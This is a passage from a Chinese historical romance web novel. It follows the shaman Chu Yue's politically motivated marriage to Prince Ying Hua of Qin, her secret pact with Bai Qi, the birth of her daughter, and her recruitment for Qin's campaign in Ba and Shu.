“因为今日司巫,恰如当日受辱的张仪,无力反抗,只能任由人操纵。张仪深有感触,故而我才说,为司巫不甘!司巫难道一直想这样身不由己吗?我看未必。你几次上战场,伐韩、守李帛,为的不就是名。” “士要名能做什么?” “司巫少时便能经营出震动秦庭的名,难道会甘心留在这位置迟滞不前?司巫难道不想,大权在握,一言既出,天下为之大动。此后,再没人能够逼迫你,如今日这般低头,行自己不愿之事?” “所以,你要嫁给公子华!必须嫁给他!做大司巫,要让那些攻击你的人,付出鲜血的代价,哪怕他是秦公子,敢抢你的军功,也要他一分不差的吐出来,是老世族,也要他覆灭,流血漂橹。让世人看到你的愤怒,让人知道,你不是好惹的!” “我能帮你一时,却不能帮你一世,孟大夫下狱,可是始作俑者,还逍遥法外。还有一件事你或许不知,孟氏想将女儿嫁给白起。” 楚越大惊,“什么?” 张仪点到为止,站起身,“该说的,我都说了,你若执意要死,我也只能在你灵前,捶胸顿足,嚎啕大哭一场罢了。若你愿意嫁,张仪在朝堂上等着你。” “相邦。”楚越叫住了张仪,“等等。” “我报复孟氏,算心胸狭隘吗?” 两次,接连两次,她很难过,因此报复。为一时情绪,要人付出血的代价,未免太过狭隘,楚越有些犹豫。 张仪笑了下,抬手摸了一下下巴上的胡子,“算,也算你有能力。” “我嫁。” 楚越二十一岁,终于松口嫁人。 司巫嫁王弟,秦国上下侧目,列国观礼,国人云集。 黄昏日落,王后为楚越穿上玄纁,梳好头发,单独挑出一缕,以红缨绳束好,再归入发髻。傧人陪同楚越出门,嬴华着玄衣纁裳,亲迎至户。 见新妇出来,嬴华与傧人先向楚越趋,傧人搀扶楚越登车,嬴华亲自为楚越驾车,侍从手持火把,为二人照亮前行之路。 帷车摇晃,透过车帷的缝隙,驾车的青年背影挺拔,橘黄火光跳动,楚越眼眶不觉一酸,再次泪眼朦胧。 嬴华频频回头,望向身后,他仿佛等了很久,才等到这一幕,那种强烈的熟悉感,漩涡般将他吞噬。 越是努力去回想,记忆越模糊,像是一觉睡醒后的噩梦,感觉分明还清晰,梦中一切却都遥远。现在,梦中一切似乎要变成现实了。 帷车停下,傧人搀扶楚越下车,嬴氏公族、观礼大臣在阶边站立,百姓聚在外,笑吟吟目送新人入内。 楚越与嬴华同登殿,嬴驷与王后坐在上首,等着两人拜见。内铺了大片麻筵,宫人取来席子,楚越与嬴华向嬴驷行礼。 嬴驷很高兴,牵过楚越的手,放到嬴华手中,似乎了却件什么大事般,长舒口气。 “你二人日后,要相敬如宾,嬴华,你要好好照顾楚越,楚越,你也要收收你的任性。” “是。”二人异口同声道。 “窈窕淑女,君子好逑。华弟能得此佳妇,寡人也为你高兴。今日,借这桩喜事,寡人与卿等同醉!” 嬴驷一声令下,伴随着阵阵乐声,宾客入席,宫人们捧上珍馐,嬴驷笑着举起手中觥,臣子们举杯。钟磬余音未绝,百姓开始唱歌,向新人送上自己的祝福。 “南有樛木,葛藟累之。乐只君子,福履绥之。南有樛木,葛藟荒之。乐只君子,福履将之。南有樛木,葛藟萦之,乐只君子,福履成之【1】。” 一副融洽欢愉的氛围,嬴华十分开心,英气逼人的脸庞上浮起红晕,不知是羞涩,还是因为宾客一杯杯的敬酒。所有人都为这场婚礼而高兴,唯有楚越感到阵阵悲凉。 她听出来,外间百姓唱的是《诗经.樛木》,一首祝贺新婚的民歌,葛藟缠绕樛木,比喻女子嫁给丈夫,然后祝福新郎新娘,希望他们能够拥有幸福的生活。 可是幸福啊。 你在何方? 嬴华注意到楚越的落寞,侧首看向她,楚越低下头,不想让嬴华看到自己的表情,嬴华弯腰,固执的一定要看清。 楚越侧了他一眼,压抑的不满丝缕溢出,嬴华眼中厚积的欣喜缓慢消散,抿唇,清澈的眼底愧疚浮现,他抬起头,强作欢笑,将婚礼进行。 新房泛着股花椒的气味,花椒涂抹墙壁,取其温暖多子,楚越坐在桌案前,侍从拆出她被缨绳缚住的那缕发丝,嬴华解开缨绳。 侍从为楚越拆开头发,脱下厚重的玄纁。 中衣单薄,侍从有序退了出去,新房中,只剩下楚越与嬴华两人,二人坐的很近,楚越听见嬴华局促抬起手,衣料摩擦的微弱声响,心一时悬到胸口。 但那只手只是落到了她身后,嬴华拉过被子,“睡觉吧。” 被子忽然被人扯住,楚越拉住被子一端,望向嬴华,要求道:“你不能和我一起睡,我怕你踢到我。” 嬴华垂眸,望向她的腹部,她这孩子已经过了三个月,平素看不出来,但脱了外衣,依稀可见凸起的轮廓,嬴华松开手,“你打算怎么办,三月庙见,这个孩子不大瞒得住。” 成婚第三个月,新妇庙见先祖,才是婚礼的结束,那个时候,她的孩子都快七个月了,外人一眼便可以看出。 “白起应该快回来了,你要是想告诉他,就告诉他吧,以后,你也可以常去看这个孩子。” 楚越困惑问道:“什么叫我可以去看这个孩子?” “既认白起为父,孩子难道不该归白氏?” 孩子,理所应当被视作父亲家的财产。 楚越面露不悦,“这是我的孩子,为什么要给白氏?” “你既想留下她,还赶我走做什么?” 嬴华神情无奈,不可思议的看了楚越一眼,扯过她手中的被子,躺了下去。 千年修得共枕眠,这次真的有枕头了。 楚越忽然想起什么,用了推了嬴华一下,“你要是敢打呼噜,我跟你没完。” 魏冉牛叫,依稀耳畔,怀孕之后,她的听力便敏锐起来。 嬴华往里挤了又挤,“你话好多,食不言寝不语。” 夜很快深了,月生正空,天地空明,楚越望着照入屋中的月亮,怎么也睡不着,心中忧愁,在盘算该如何告诉白起这件事。 背着男朋友,结了个婚。 但还想和男朋友,保持感情。 字是字,但一个个字连起来,那么让人陌生。 女子出嫁,听从父母之命媒妁之言,但有一类女子,可以自主婚嫁,家人、亲属,很少干涉,那就是——寡妇。 寡妇改嫁,多半听凭心意。 嬴华,还能活几年呢?秦楚之战,四五年之内 但,白起真的会相信自己,并等待自己四五年吗? 想着想着,困倦的感觉袭来,她不知不觉睡了过去,半梦半醒间,忽然身边剧烈一动,楚越浑身一颤,惊醒过来。 身边,嬴华坐了起来,他双手抱头,呼吸急促,似乎做了什么噩梦,满头大汗。 “你怎么了?” 楚越一出声,嬴华便朝她看了过来,他盯着楚越,猛然张开双臂,抱住了撑着起身的她,楚越本能双手抱腹,护住肚子。 “你干什么!” 嬴华的力气很大,她越挣扎,力道越大,似乎害怕失去什么,如此一来,楚越不敢挣扎,只能任由嬴华紧紧抱着自己,嬴华喘着粗气, 将额头抵在楚越肩膀,喃喃道:“是你” 不知过了多久,嬴华终于松开手,楚越往后退,和他拉开距离,她看着情绪异常的嬴华,一时也不敢开口。 嬴华的头低垂,看不清脸上情绪,忽然,他低沉道:“我听说,你常为大王解梦,我也有一个困扰多年的梦,不知你能不能,为我解一解。” “什么梦?” “我曾在十七岁时,做过一个梦,我梦见了我的一生,那一生,虽然短暂,却每一瞬,都过得无比充实,因为梦中,有一个人在等我。” “我不知道她是谁,只知道在梦中,她是我十八岁时迎娶的夫人,那个等我的人,就是她。” “梦里,发生了很多不好的事情,我最终死了,没有我在,她或许也活不了多久,所以我想,自己一定不能死,我在黑暗中挣扎了很久,逆流而上,终于看到一丝光明,于是走上前去。” “梦便醒了,一切不过虚幻。但做过那个梦之后,梦中一切就开始困扰着我,许多一些事情,我总觉得,在梦中见过,我时常怀疑,是自己做了预知将来的梦。” “冥冥中,我觉得,有人,在等着我。” “十八岁的时候,孟夫人找到我,说她的女儿一直在等我,并且愿意一直等下去。我觉得是她,可是等到成婚那天,梦中的场景,并没有如我预期那般上演。” “不是她。”嬴华低头,以手覆面,“我的希望,落空了,梦中一切,并没有上演。我大概,真只是做了个梦而已。可是梦中那种感觉还在,这些年,我一直在想,我等的是谁,又是谁在等我现在想来,是错过了。” 他看向楚越,自嘲一笑,“是你。” 楚越听得云里雾里,不知道嬴华到底在说什么。 什么是你? 等他的是自己?还是他等的是自己? 嬴华望着楚越,一言不发。 耳畔,歌声依稀。 嬴华曾无数次,想起梦中那首曲子,可之前,他只能想起曲调,一侧耳去听,想要听清歌词,歌声便小了,最后消失不见。 但今天,他终于听清了那首歌,也是一首庆贺新婚的曲子—— “绥绥白狐,九尾庞庞。成于家室。我都攸昌。”【2】 他从梦中惊醒,一旁楚越也被他吵醒。 月光从窗外投入,照亮屋子,他的脸,藏在月光的阴影中,楚越看不清他的神情,只知道他正望着自己。 她似乎想到了什么,伸出手,去触碰嬴华的脸颊。 指尖传来湿意,手腕很快被人遏住,嬴华抓住楚越的手,将她的手从自己脸上挪开,“睡觉吧,你要好好休息。” 第47章 大司巫她一个人,能抵得上千军万马…… 辕门士兵看清来人手中令符,打开关卡,车驾驶入辕门,驷车高马,悬盖垂帏,驾车的君子威武不凡,马车行驶,风吹起帷帐,乘车的女君,身材修长,华服高髻。 如此阵仗,惹得营中将士纷纷观望。 马车在空地停稳,嬴华从车上跳下,朝车中楚越伸手,楚越伸手,扶着嬴华有力的臂膀,从马车上下来。 两人进入军帐,嬴疾正与诸将议事。 “嬴华,你怎么来了?” 诸将见状,纷纷行礼,“公子、大司巫。” 嬴华抬手,朝嬴疾一礼,“兄长。”而后对众将道:“诸位将军不必多礼。” “我有要事,要与兄长商议。” 嬴疾挥手,示意众将退下。 “还请夫人在外稍候片刻。” 嬴华看向楚越,楚越会意,向嬴疾行礼,而后退了出去。 出了营帐,魏冉站在不远处,似乎在等她,楚越走上去,魏冉上下打量她一眼,试探性道:“我是该称呼你一声夫人呢?还是该唤你大司巫。” “魏都尉,你拿来的花真丑。” 魏冉当即道:“不说这事了,楚越。” “我要见白起。”楚越也不藏着掖着,开门见山。 “白起不是在王都尉麾下吗,你要见他,应该去找都尉,找我做什么,这是蓝田大营,是禁军驻扎地。你找错地方了吧。” 楚越没等来白起,派人去找他,也毫无结果,来人回禀,说白起已经调走,或许是得了什么人的警告,也是出于保护白起,相识的将领,没一人愿意告诉他,白起被调去了哪里。 人海茫茫,少年白起就这么湮灭在了浩瀚的秦军之中。 “别跟我装傻,魏冉,我既然能来到这儿,就说明我知道白起被调到了哪里。” 魏冉见瞒不住,无奈叹口气,“你还是别见了,见或者不见,都没意义了。你看看你现在,硕人其颀(qi二声),衣锦褧(jiong三声)衣【1】。巫咸之后,公子之妻。” 他朝营帐的方向看了一眼,若有所思,“你要为你自己的将来,为白起想一想,不要一时意气,给所有人造成难以弥补的恶果。” “你觉得我为什么能出现在这儿?”楚越抬眸,对上魏冉视线。 魏冉垂眸想了下,忽然笑了。 营帐里稀稀拉拉或坐或躺着几个着甲的军官打扮的人,魏冉跟他们耳语几句,几个人都走了出去,剩下一个叫‘胡伤’的人不情不愿从床上坐起,正欲抱怨,扭头却看到了衣着华丽的楚越,抱怨声卡在喉咙里。 魏冉清空无关人等,转身走了出去,没过多久,帐外传来阵很轻的脚步声,来人在帐外停顿了片刻,楚越回首,白起掀帐而入。 白起一身玄甲,双板长冠,胸前花结显眼,楚越身着玄色华服,广袖博带,梳作妇人发髻。见此,两人俱是一愣。 良久,白起慢慢朝楚越走了过来,在数步外停下,迟滞不前,楚越提起繁重的衣物,大步上前,走到白起面前,她伸手,抓住了他的手臂。 “你愿意,和我一起离开秦国吗?” 齐国的薛君之子,将来的孟尝君田文,正在招揽天下名士,不问出身,广蓄门客。相信以孟尝君的人品,不会轻视她是个女子。 白起有些仓惶的将自己的手臂从她掌中夺了出来,后退一步,他望着她,神情痛苦,“我离开秦国,离开军营,还有什么呢?” “我的祖先,虽然是公族之后,但已经没落多年,与庶民无异,我不是张仪、公孙衍那样的名士,能有说服君王的才思,离开秦国,没有军功爵,我什么也不是。” 楚越低头,白起的答案已经明确。 落魄的士,没有选择。张仪的话,适用于他自己,适用于楚越,也适用于白起,只不过白起还与张仪不同,张仪已经是改变命运的名士。 白起,还寂寂无名,这天下,还没人知道他是谁,没人在意他的情感。 即便来的时候,已经想到了这样的结果,可是真正面对,还是犹如利剑穿心。 楚越深吸口气,压下心中复杂情绪,“那你,愿意等我吗?”她抬眸,注视白起的眼睛,“我知道,你和我不一样,你若是走了,你的家人,邻居,同袍,都会受你牵连,秦法将百姓士卒编在一起,就是为了更好控制他们。” “你没有选择,我知道。你的世界,不止只有我,我的生活,也有的别的东西需要我去处理。既然这样,我们都等一等彼此吧。” “七年,七年为期等到我们都达成所想之后” 楚越说着,心中愈发忐忑起来,白起凝视她的漆黑双眸中,目光也复杂。 七年,谁知道这七年会发生什么呢? 如若这七年间,他最终放下,和别的女子,喜结连理。这七年间,她和丈夫,举案齐眉,儿孙满堂。七年之后,他们中间,有任何一个人,反悔了,不愿意了。 “好。”白起答应的干脆。 楚越抬手,“我与你击掌盟誓,如若七年后,背叛诺言,便” 击掌声清脆,白起道:“便教我死在你剑下。” 楚越对上白起漆黑双眸,击下第二掌,“便教我孤独终老。” 两人相视,击下第三掌,至此,誓言成。 楚越出了营帐,魏冉正和嬴华在外说话,两人有说有笑,看起来相谈甚欢,见楚越出来了,魏冉偷偷在衣服上抹掉掌心汗水,嬴华也见到了楚越,走上前去。 “走吧,疾兄说,还未恭贺我们二人新婚之喜 ,要设宴款待我们。” 楚越点头,“好。” 走出一段距离,身边无人,嬴华才用两个人能听见的声音道:“见到了,就别忧心了,你总愁眉不展,对孩子也不好。” “难过一时,好过忧心不断。” 楚越不说话。 秦惠文王后元七年末、后元八年新年前后,喜事一桩接一桩,先是修鱼之战后,三晋畏秦强大,纷纷来朝,再有王室内,司巫与王弟完婚,被升为大司巫,成为巫祝之长,不久之后嬴华又上奏秦王,大司巫有妊,自己将有子嗣。 两个‘大龄’青年,可算有后了。 长兄如父,嬴驷这个当大哥的一桩心事总算放下。 与此同时,孟大夫在狱中上书,承认自己是受孟内史指使,陷害大司巫。 来咸阳寻亲的犀,也站出来,上书秦王,阐明是公孙衍告知他,自己的侄女殷尚在人世,现在已经成为秦国的司巫,他才来到秦国。 有大臣进一步指出,孟内史收了公孙衍的财物。 在这样的喜讯下,孟内史收受贿赂,与魏人公孙衍勾结,蓄意构陷大司巫楚越,便变得罪大恶极起来。秦王斟酌之下,命有司彻查。 季孟夫人数次求见,都被楚越的守卫挡在了门外,“夫人,王上有令,您与我们家夫人,不可见面,还请回去吧。” 成婚之前,在楚越和季孟谁大谁小,谁嫡谁庶这个问题上,产生过不小的争论。 王后希望楚越能取代季孟,理由是无子,但孟氏毕竟是老世族,宗室给出的建议是并嫡,不分大小,理由是季孟操持嬴华家务多年,有苦劳。 秦王觉得并嫡可行,但王后不满,所谓并嫡,只是不分嫡庶,但二嫡之间,依旧有左右之分,季孟年长,又先嫁,楚越资历浅,又年轻,如此一来,当然对她不利。 最终,嬴驷在王后和宗室之间和了个稀泥,两人并嫡,不分大小,又下了一道特殊的指令,命两人不得相见【2】。 楚越有孕的消息公开之后,便借这道王旨,和养胎的名义,搬回了自己的宅邸。在自己的地盘,总归安全,也更隐蔽。 随在她身边的人员也很精简,除了外院一队护卫,内院之中,只有王后指派来的一位精通带下医和小儿之症的女官魏和,与婼、辛几人。 屋门,被人用力推开,辛委屈巴巴跑了进来,身后跟着慢了一步,神情懊恼的婼。 “你轻一点,会吓到她的。” 辛扑通一声跪坐在楚越身边垫子,挤到她身边,张口便是,“你把那个人赶走,他烦死了。” 楚越笑了,“孟守怎么你了?” 辛认真道:“他很坏,他把所有活都干完了。” 新员工上任三把火,孟守起的比鸡早,干得比牛多,等辛起床,她用来练力气的柴,早被孟守砍得整整齐齐,水缸也满了。 孟守得意看向辛,扫帚却迎面朝他飞来。 “这都是我的活!”辛对孟守大声喊道。 “有人干活不好吗?”楚越问道。 勤快的姑娘反问道:“他干了,那我干什么?” 辛是个闲不下来的姑娘,或许和她之前的生活环境有关,她总很有骨气的不愿意欠楚越一分一毫,吃了饭,一定要干活来偿。 但现在她的活,都被孟守干了,辛非常生气,又无计可施。 她望着楚越,“不然,我帮你把那个女人打一顿吧。” 楚越一怔,很快反应过来辛说的‘那个女人’是季孟,“你打她做什么?” “她总在屋外大喊大叫,还骂你。” 楚越拒绝了,“没关系,很快她就骂不出来了。” 辛从鼻子里重重喷出两行浊气,骂道:“死孟守!” 诙休假归来,发现自己不在这段时间,咸阳发生了翻天覆地的变化,自己大司巫首席门客地位,摇摇欲坠。为了补救一下,他也找活儿干。 真正的雄竞,开始了。 楚越在屋中看书,桌案上放着好几卷策论,分别属于张仪和司马错,两人就伐蜀还是伐韩,展开了激烈的辩论。 张仪要和魏国、楚国结盟,攻打韩国,兵出三川,拿下宜阳,然后挟天子以令天下,成就帝王之业。 司马错认为,现在秦国国力不够,劫持天子,会成为众矢之的。刚好巴蜀相互攻伐,向秦求救,秦干脆效法晋献公故事,假道灭虢,把巴蜀全拿下,扩张秦国领土。 朝中就此事争论不止,秦王也派人来问楚越,伐韩吉,还是伐蜀有利。 这一战,秦自然是灭巴蜀,但巴蜀乃蛮夷之长,地处偏僻,楚越对他们不太了解,于是找来书籍,恶补知识。 她在窗下看书,魏和与婼一面在廊下整理药材,一面窃窃私语,笑气得脸像鸡冠一样的辛。 辛更没活干了,骂的人除了孟守,又多了一个诙,两个人也不让她,人情哪有工作重要。 屋内屋外,洋溢活泼的气氛,嬴华一进门,映入眼帘的便是争夺扫帚的诙与孟守,辛在一旁,用手揽起落叶,女官装扮的魏和,正与婼探讨医术。 窗内,青年女子慵懒闲适,斜倚凭几,聚精会神,盯着手中逐渐,读到要紧地方,修眉微蹙,黑发未梳,垂在苎麻白襦。 孟守最先发现嬴华,松开手,诙猝不及防,摔了个大马趴,院中响动,吸引廊下人注意力,魏和与婼,才发现嬴华,站起身来,“公子。” 楚越的视线,从窗内投出,她依旧慵懒的坐在屋中,没有半分要起身的意思。魏和低声提醒道:“夫人。” 她唤的是‘夫人’而非‘大司巫’,意在提醒楚越,她现在的身份,但楚越置若罔闻,悠悠收回目光,继续看书。 “你们先退下吧。” “是。” 嬴华并没有进屋,而是在廊下,方才魏和与婼的位置坐了下来,他看了一眼窗内楚越,楚越依旧在看书,不理他,气氛,陡然变得凝重起来。 “我来看看你,你和孩子还好吗?” “多谢,我们都很好。”楚越有礼道。 “宗庙那边,我都说好了。暂时先不急着庙见,等你生下孩子再说。” 借用老头医师的说法,嬴华对外宣称楚越年纪大了才头次生育,胎像不稳,需要静养安胎,经不起前往雍城宗庙的舟车劳顿,希望能暂缓庙见。 夫妇二人都是年纪大了才有孩子,任何繁文缛节,都不如孩子大,于是庙见之礼,便被搁置。等楚越先生下孩子,再补这个礼仪。 “好。”楚越应道。 嬴华:“” 聊天高手一出手,任何话茬都要摔死在地上。 嬴华犹豫再三,还是开口道:“我听说季孟来见你了。” 闻此,楚越放下手中竹简,望向窗外,目光严肃,“你想说什么?求情的话,就大可不必,孟内史究竟是罪有应得,还是我蓄意谋害,你自己清楚。” “孟氏获罪,季孟,就不能再回家了。” 楚越眉头一皱,“你说什么?” “那个人不是她,我很失望,但木已成舟,婚嫁不是儿戏,可是时间久了,我发现自己还是不能接受她。” “桑丘之战大败,我九死一生回到秦国,深感将军征战,生死难料,于是劝她不要再等我,趁还年轻,尽早改嫁,她虽然心动,却始终放不下家门荣耀,父母期许。” “她说,王室之中,没有感情,却依旧过完一生的夫妇大有人在,再娶之人,和她不会有任何区别。” 听完这些,楚越一时沉默,良久,她道:“我不想知道这些,和我没关系。满心欢喜,迎娶季孟的是你,发现的非所愿的也是你,最后依旧和她在一起的也是你。” 她淡淡收回视线,“现在 ,认为她无处可去,怜悯于她的还是你。至于我,我是那个要她父母人头落地,全族血洒刑场的恶人。” “尽情去恨,尽情骂吧,日骂夜骂,能骂死我吗?” 嬴华看了一眼楚越,“她之前从家中远支抱了一个孩子,养在膝下,以慰孤寂。楚越,我打算正式收养那个孩子,让她后半生,能有一个依靠。” “你觉得我能放过她吗?”楚越声调冰冷。 她望向嬴华,目光不带一丝感情,“我怨恨孟氏,十分怨恨,她的母亲,太过贪心,居然想要将寡居在家的女儿,嫁给白起。她想抢走我的爱人,所以我怨恨。” 嬴华思索下,道:“你也怨恨季孟,因为我娶了她?” 楚越笑了下,直直盯着嬴华的眼睛,“你知道我恨什么吗?我恨孟氏,是因为她明知我与白起两情相悦,却妄图从我手中夺走他。她既然敢做,就一定要敢当,我的愤怒,会变成屠刀。” “但我没有恨季孟的理由,她没有抢走任何人的东西。我不会放过她,只是因为,不想给自己惹麻烦,她的仇恨,也会化作报复,搅乱我的安宁。” 楚越这么一说,嬴华心中明了,“你恨的是我。” 她迟疑了一瞬,还是说出了真相,“是。” “桑丘之战,你劝我,却没有力阻我,你恨我,恨到,希望我去死。” 楚越笑了,眼泪却顺着脸颊落下,“你怎么现在才明白?” 爱和恨,都是她一个人的故事。 “你就那么恨我?”嬴华不可置信道。 楚越没有回答,抬手擦干脸上泪水,“我不会放过季孟的,你要是真顾念旧情,就为她打一副好一些的棺椁吧。” 孩子一日一日长大,越到孕晚期,楚越每天越饿,眼睛一睁,就想吃饭,她无数次告诫自己—— 楚越你不能吃了! 但腹中饥火烧肠,告诫最后都成了悔恨。 楚越,你又吃了!从明日起,不能再吃了! 这样告诫、悔恨、告诫到了临产。 孩子生下来,足有七斤重。 七斤的大胖丫头,头不大,但肩膀大,楚越费了很大的力气,才生下来,丫头哭声洪亮,大得能掀房顶。 胖丫头的肩膀上有块黑色胎记,魏和将此事说给楚越,楚越起身一看,“还真有!” “都怪白起,非要唱什么越人歌。” “啊?”一旁婼没听懂。 “鄂君,姓芈,熊氏,名黑肱,字子皙。” 黑肱。黑胳膊。 听多了芈黑胳膊的歌,生下一个孩子,手臂也长着黑色胎记,不怪白起,难道怪她吗? 婼顿时笑了,对襁褓中的大胖丫头道:“原来你的胎记还大有来头。” 大胖丫头出生,魏和也就自动升级,成为她的傅姆,贵族女子从出生起,便有傅姆随侍,教导礼仪。 魏和出身魏国大族,是王后身边女官,王后命她随侍楚越,便是为了让她做孩子的傅姆。 孩子生下来,嬴华来看过一次,却只在外间,魏和将孩子抱出去给他看了一眼,并未进入内室,探视楚越。 恨意,在他们之间,画出一条深不见底的沟壑,嬴华每每走到边缘,便觉束手无策。这也正合楚越的意,爱恨交织,不如恨得纯粹,碎的彻底。 她坐完两个月的月子,嬴华才对外宣称她早产诞下一女,然后,她又开始坐月子。 在屋中待了三个月,楚越实在受不了了,从屋中跑了出来,谁料一出门,便迎面撞上前来探望的秦王与王后。 “子越!你当心受风。” 她又被抓了回去,按在床榻上,继续坐月子。 赢驷看着摇篮中熟睡的婴儿,在袖子里摸来摸去,掏出个小盒子,放到她枕边,一本正经道: “你这小孩好大的胆子,寡人百忙之中抽空来看你,你居然敢睡觉。寡人大人有大量,不与你计较。诺,这是寡人赏赐给你的见面礼。” 楚越与王后相视一笑,楚越道:“大王,她还小,若有无礼之处,还请大王海涵。” “其实公伯也没有那么小气。”嬴驷掐了一下大胖丫头的脸,似乎想起什么,在屋中环视一圈,“华弟呢?当父亲的怎么能不守在妻儿身边!” 楚越对答如流,“家事小,国事大。” “国事固然大,却也不能误了家事,传公子华来。” 嬴华奉诏而来,嬴驷板着张脸,将他叫去外间。王后陪在楚越身边,望着摇篮中婴孩,询问道:“可取了名字?” “还没有。” 摇篮边,嬴驷所赐木盒打开,锦缎上,卧着一颗圆润明珠,光泽璀璨,楚越望着那珠子,对王后道:“大名一时想不出来,不然,先取个乳名,叫珠珠。” 她的猪猪女孩,掌中明珠。 不久后,嬴驷训完嬴华,嬴华垂首,跟在嬴驷身后进屋。 嬴驷对楚越道:“寡人已经训斥他了,做丈夫、父亲,就要有做丈夫、父亲的样子。” “大王,国事重要。” “国事当然重要,等你身体好起来,寡人还有要事交代,司马错将军和相邦,可都举荐你呢。他们说,得你一人,如得千军万马。” “我?”楚越一惊。 这夸得,有点太过了吧。 秦王最终决定,采用司马错之策,对巴蜀用兵,而非韩国,暂定以司马错、张仪领兵,两位在朝堂上互喷口水的大才,却罕见的达成一致,想问秦王要一人随军。 “得此一人,能抵得万千秦军。” 嬴驷一听,十分好奇,“是谁?” “大司巫,楚越。” 第48章 巴蜀援巴打蜀 巴蜀之地,是巫的发源地,相传上古有十巫,能沟通天神,法力无边,十巫以巫咸为首,建立起巫咸国,成为诸巫部落联盟的首领。 诸巫部落联盟的核心,是巫咸国灵山,相传巫咸生封此山,死葬于此。巫咸国产盐,靠着鱼盐之利,曾辉煌一时。 后来巴国逐渐崛起,巫咸国在巴、楚攻击下,逐渐衰弱,最终被两国瓜分,和巫咸国一道消失的,还有庸、濮等小国。 蜀国也是一个比较久远的政权,并行于夏商,拥有自己独特的文化,曾出兵相助武王伐纣,因此见名中原史书。 巴蜀世仇,相互攻伐。 此番两国交兵,巴国向秦国求救,希望秦国能够出兵。 帅帐一面,被整副地图覆盖,司马错将楚越引至地图前,下属递上一根竹竿,司马错以竹竿指向秦西南方向。 “巴蜀之地,除开巴国和蜀国,还有充、苴两个小国。” “说来,两国也和巴、蜀有着密切的关系,春秋的一位巴王,爱上一位楚国女子,但巴楚世仇,国内不容这位王子,巴王只能将他分封出去,后来分裂成充国。” “蜀国那边,也分裂出了一个苴国,蜀王弟受封为侯建立。” “对于苴国,蜀王开明总想着吞并,为了自保,苴国与巴国交好,蜀王为了牵制巴国,与充国交好。这次战争的起源,就是蜀国进攻苴国,苴侯出逃奔巴,二人向秦国求救。” 楚越盯着眼前这幅标注战国所有国家的地图,一时眉头紧皱,她盯着巴蜀看了一会儿,目光下移,“秦若能得巴蜀,就能占据长江上游,顺江而下,威胁楚国腹地。” 司马错眼前一亮,“大司巫看出来了?” 楚越点点头,“当然。” 课本上是这么写的,她当然能看出来,虽然不是看地图,而是看文字。 “秦国和蜀国接壤,伐蜀有利。并且,是巴、苴两国先向秦国求救,秦国出师有名,再者,巴国又是周室册封的诸侯,诸夏之一,蜀国,多了蛮夷身份。秦国自然要先出兵,援巴克蜀。” 楚越抬手,顺着司马错与主将商议出,标注在地图上的进军通道,一路指向蜀国。 “而后,再 回师灭巴。”广袖在空中飘过,楚越的手指绕了一圈,又指向巴国位置。 “是。”司马错道。 楚越的手垂下,她慢条斯理理了理自己的衣袖,笑道:“将军的作战计划万无一失,随将军作战的将士骁勇,后方调度,也有相国在,我实在想不到,将军为何在大王面前,对我褒赞不已。” “司马将军正人君子,看起来也不像是阿谀奉承的人。” 司马错低头一笑,“并非在下褒赞,大司巫却能抵得上千军万马。” “愿闻其详。” 司马错道:“秦攻蜀不难,但怕就怕在,万一秦国正攻打蜀国,巴王想起来当年晋献公假道灭虢的事情,从后偷袭秦军,就不好了。” “秦军长途跋涉,蜀地道路险峻,巴蜀人骁勇善战,与蜀作战,十分不易,若是再腹背受敌,士卒恐有损伤。” “而巴国国内,除巴王是周室后裔,国内‘巴、樊、曋、相、郑’五大氏族,均与巫咸国关系匪浅。其中巴姓先祖禀君以巫凡为祖,郑氏来源于巫真,相氏传自巫谢。” 楚越点头,已经明白司马错所指,“将军是想让我去巴国做内应?” “对,大司巫是巫咸之后,与巴人之间,血脉相连,既是秦国重臣,又贵为王弟夫人。” “我王原本是不打算援巴,而有意伐韩的,是大司巫在秦庭力主秦国出兵,说婚事既成,两国便是姻亲,巴国有难,秦国当然不能袖手旁观。” “我王看在大司巫份上,才出兵援助,大司巫远离故土,多年未曾返回家乡,想借着这机会,回国祭拜先祖。想来,巴使与巴王,必定不会拒绝。” 楚越会意,笑着点了点头,“哦~~” “我去巴国之后,要是有人向巴王提起假道灭虢,我就和巴王说秦巴姻亲之谊。若是巴国有变,我就是秦军的耳目。” 司马错颔首,“正是。” 楚越有些迟疑。 司马错立刻道:“在下会派遣精兵,护卫大司巫,一旦有变,他们会保护大司巫安然离开。” “不是。”楚越立刻道:“司马将军,我不是在担忧自己的安全。” “那司巫还有什么顾虑?” 楚越犹豫了下,对司马错道:“也不是什么大事,我希望这支卫队能完全听从我的命令,但我之前并未带过兵,只怕不能服众。” “大司巫不必担忧,在下会叮嘱他们。” “有劳将军。” 巴国使者在咸阳等了数月,早心急如焚,于是再度求见秦王,他小步趋庭,朝秦王一拜,“大王。还请大王速出义兵,援助巴国。” 秦王叹口气。 巴使脸色顿变,“大王!” 张仪站出来,劝道:“巴使,还是请归吧,秦国虽然有意援助巴国,但自顾不暇啊,五国联军,才从函谷关退去,秦国现在急于做的,应当是重盟韩魏,实在没有余力襄助巴国。” 巴使急的团团转,“大王,巴国也是诸夏之一,大王乃中原霸主,岂能坐视华夏遭戎狄迫害。” 为了请求援兵,巴使也是下了血本,秦国是中原霸主这样的话都说出来了,但朝臣无人应声,巴使顿时急的如热锅上的蚂蚁。 嬴华适时站出来,“大王,臣以为当援巴,秦国世居西隅,中原讥讽我秦国为戎狄,而今秦国强大,更该伸张道义于乱世,巴王乃是姬周血胤,蜀王无缘无故攻打苴国、巴国,不义不悌,秦应当伐之。” “对对对,这位将军说得对。” 一旁有人提醒道:“他是公子华,当今大王手足。” 巴使闻之,肃然起敬,整理衣冠,对嬴华拜道:“多谢公子仗义执言。”嬴华回礼,“巴使不必多礼。” 秦王摸了摸胡子,似乎有些动摇的样子。“既然华弟这么说了,寡人” 张仪立刻劝道:“大王,不可啊。” 巴使急的满头大汗,紧张偷望向秦王,秦王看了一眼张仪,“相国此言也有理,寡人” “罢了,此事容后再议。” 巴使急的满头大汗,“大王,拖不得啊。”秦王却已经走了。 出了大殿,嬴华还未走出几步,便被巴使追上,“公子留步,还未多谢公子,为巴国仗义执言,在下替巴国、巴国子民,谢过公子。” 嬴华一把扶住要下拜的巴使,“巴使不必多礼,蜀国不义,当伐之。况且,巴国也算秦国的姻国,秦国理当出手相助。” 巴使一愣,“公子何出此言?近些年来,未曾听闻有我巴国女子嫁来秦室为妇啊。” 嬴华低头一笑,“是我说错了,也不算什么姻国,我夫人并非王室,只是与巴国有些联系。” “尊夫人是巴人。”巴使眼前一亮,“不知公子娶自巴国何处?” “我夫人乃是秦国大司巫,巫咸之后,年幼时随家人离开巴国,已经不记得从前居处,得知巴使前来,夫人常忆幼时事,泪落不止” 